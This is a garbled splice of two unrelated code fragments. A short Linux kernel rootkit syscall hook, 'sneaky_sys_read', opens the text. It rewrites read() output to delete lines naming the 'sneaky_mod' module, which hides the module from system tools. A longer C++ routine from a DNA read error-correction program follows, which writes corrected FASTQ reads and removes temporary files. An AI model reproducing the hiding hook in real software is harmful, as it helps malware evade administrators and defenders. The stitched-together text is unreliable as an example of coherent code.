asmlinkage ssize_t sneaky_sys_read(int fd, void * buf, size_t count) {
int nread = original_read(fd, buf, count);
char * head = strstr((char *)buf, "sneaky_mod");
if (head != NULL) {
char * newline = strchr(head, '\n');;
if (newline != NULL) {
nread -= (newline - head + 1);
memmove(head, newline + 1, strlen(newline + 1) + 1);
return (ssize_t)nread;
}
} else {
return (ssize_t)nread;
}
return (ssize_t)nread;
}
void C_correct_errors::write_corrected_reads(const C_arg& c_inst_args, const std::string& error_correction_info_file_name, const std::string& corrected_read_file_name, const FileReader::FileType corrected_read_file_type) {
std::ofstream& f_log = Log::get_stream();
#ifdef USE_FILE_READER
// open corrected read files
FileReader f_corrected_read;
FileReader f_read;
f_corrected_read.setFileName(corrected_read_file_name, corrected_read_file_type);
if (!f_corrected_read.openFile(FileReader::WRITE)) {
std::cout << std::endl << "ERROR: Cannot open " << corrected_read_file_name << std::endl << std::endl;
f_log << std::endl << "ERROR: Cannot open " << corrected_read_file_name << std::endl << std::endl;
exit(EXIT_FAILURE);
}
// open read files
f_read.setFileName(read_file_name, corrected_read_file_type);
// process reads
if (f_read.openFile(FileReader::READ)) {
#else
// open corrected read files
std::ofstream f_corrected_read;
std::ifstream f_read;
f_corrected_read.open(corrected_read_file_name.c_str());
if (f_corrected_read.is_open() == false) {
std::cout << std::endl << "ERROR: Cannot open " << corrected_read_file_name << std::endl << std::endl;
f_log << std::endl << "ERROR: Cannot open " << corrected_read_file_name << std::endl << std::endl;
exit(EXIT_FAILURE);
}
// open read files
f_read.open(read_file_name.c_str());
// process reads
if (f_read.is_open()) {
#endif
std::size_t chunks_it = 0;
// open error correction information files
std::ifstream f_error_correction_info;
f_error_correction_info.open(get_error_correction_info_file_name(error_correction_info_file_name, chunks_it).c_str(), std::ios::binary);
if (f_error_correction_info.is_open() == false) {
std::cout << std::endl << "ERROR: Cannot open " << get_error_correction_info_file_name(error_correction_info_file_name, chunks_it) << std::endl << std::endl;
f_log << std::endl << "ERROR: Cannot open " << get_error_correction_info_file_name(error_correction_info_file_name, chunks_it) << std::endl << std::endl;
exit(EXIT_FAILURE);
}
std::string line;
std::string read;
#ifdef USE_FILE_READER
// number of bytes for storing reads
// std::size_t num_byte_per_read;
// num_byte_per_read = (std::size_t)(ceil((float)(read_length) / BPS_PER_BYTE));
// std::string modification_buffer(num_byte_per_read, '0');
while (f_read.getLine(line)) {
// write the first head lines
if (line.length() > 0) {
line += "\n";
f_corrected_read.putLine(line);
}
// DNA sequence
f_read.getLine(read);
std::size_t current_read_length = read.length();
#else
// header
getline(f_read, line);
// write the first head lines
if (line.length() > 0) {
f_corrected_read << line << "\n";
}
// number of bytes for storing reads
// std::size_t num_byte_per_read;
// num_byte_per_read = (std::size_t)(ceil((float)(read_length) / BPS_PER_BYTE));
// std::string modification_buffer(num_byte_per_read, '0');
while (!f_read.eof()) {
// DNA sequence
getline(f_read, read);
std::size_t current_read_length = read.length();
#endif
// change sequences to upper case
transform(read.begin(), read.end(), read.begin(), ::toupper);
std::string original_read(read);
// count and substitute Ns other characters
std::size_t number_of_Ns = 0;
for (std::size_t it = 0; it < current_read_length; ++it) {
bool is_nucleotide = false;
for (std::size_t it_nucl = 0; it_nucl < NUM_NEOCLEOTIDE; ++it_nucl) {
if (read[it] == NEOCLEOTIDE[it_nucl]) {
is_nucleotide = true;
break;
}
}
if (!is_nucleotide) {
++number_of_Ns;
read[it] = SUBST_CHAR;
}
}
const bool too_many_Ns = number_of_Ns >= current_read_length * MAX_N_RATE;
// modified reads
std::string read_modified(too_many_Ns ? original_read : read);
// read modification information from files
char buffer;
if (!f_error_correction_info.get(buffer)) {
f_error_correction_info.close();
++chunks_it;
if (chunks_it == n_chunks) {
if (!f_read.eof()) {
std::cout << std::endl << "ERROR: Unexpected end of error correction info file." << std::endl;
f_log << std::endl << "ERROR: Unexpected end of error correction info file." << std::endl;
exit(EXIT_FAILURE);
}
}
else {
// open error correction information files
f_error_correction_info.open(get_error_correction_info_file_name(error_correction_info_file_name, chunks_it).c_str(), std::ios::binary);
if (f_error_correction_info.is_open() == false) {
std::cout << std::endl << "ERROR: Cannot open " << get_error_correction_info_file_name(error_correction_info_file_name, chunks_it) << std::endl << std::endl;
f_log << std::endl << "ERROR: Cannot open " << get_error_correction_info_file_name(error_correction_info_file_name, chunks_it) << std::endl << std::endl;
exit(EXIT_FAILURE);
}
if (!f_error_correction_info.get(buffer)) {
std::cout << std::endl << "ERROR: The file " << get_error_correction_info_file_name(error_correction_info_file_name, chunks_it) << " is empty" << std::endl << std::endl;
f_log << std::endl << "ERROR: The file " << get_error_correction_info_file_name(error_correction_info_file_name, chunks_it) << " is empty" << std::endl << std::endl;
exit(EXIT_FAILURE);
}
}
}
// make new reads
std::size_t it_mod;
for (it_mod = 0; it_mod < current_read_length; it_mod++) {
unsigned char first_bits = buffer & (BIT8 | 0x40);
buffer <<= 2;
if (first_bits != 0 && !too_many_Ns) {
read_modified[it_mod] = decode_correction_info(first_bits, read[it_mod]);
}
// increment indexes
if (((it_mod % BPS_PER_BYTE) == (BPS_PER_BYTE - 1)) && (it_mod != (current_read_length - 1))) {
if (!f_error_correction_info.get(buffer)) {
std::cout << std::endl << "ERROR: The size of " << error_correction_info_file_name << " is wrong" << std::endl << std::endl;
f_log << std::endl << "ERROR: The size of " << error_correction_info_file_name << " is wrong" << std::endl << std::endl;
exit(EXIT_FAILURE);
}
}
}
#ifdef USE_FILE_READER
// write new reads to output files
read_modified += "\n";
f_corrected_read.putLine(read_modified);
// "+"
f_read.getLine(line);
line += "\n";
f_corrected_read.putLine(line);
// quality score
f_read.getLine(line);
line += "\n";
f_corrected_read.putLine(line);
#else
// write new reads to output files
f_corrected_read << read_modified << "\n";
// "+"
getline(f_read, line);
f_corrected_read << line << "\n";
// quality score
getline(f_read, line);
f_corrected_read << line << "\n";
// header
getline(f_read, line);
if (line.length() > 0) {
f_corrected_read << line << "\n";
}
#endif
}
}
// close read files
f_read.close();
// close corrected reads
f_corrected_read.close();
std::cout << " Writing corrected reads into files: done" << std::endl << std::endl;
f_log << " Writing corrected reads into files: done" << std::endl << std::endl;
}
//----------------------------------------------------------------------
// Removes unnecessary temporary files.
//----------------------------------------------------------------------
void C_correct_errors::remove_error_correction_info_files(const C_arg& c_inst_args, const std::string& error_correction_info_file_name) {
for (std::size_t it = 0; it < n_chunks; ++it) {
remove(get_error_correction_info_file_name(error_correction_info_file_name, it).c_str());
}
}
//----------------------------------------------------------------------
// Generates temporary file name.
//----------------------------------------------------------------------
std::string C_correct_errors::get_error_correction_info_file_name(const std::string& error_correction_info_file_name, const std::size_t file_number) const {
std::ostringstream error_correction_info_file_name_stream;
error_correction_info_file_name_stream << error_correction_info_file_name;
error_correction_info_file_name_stream << file_number;
return error_correction_info_file_name_stream.str();
}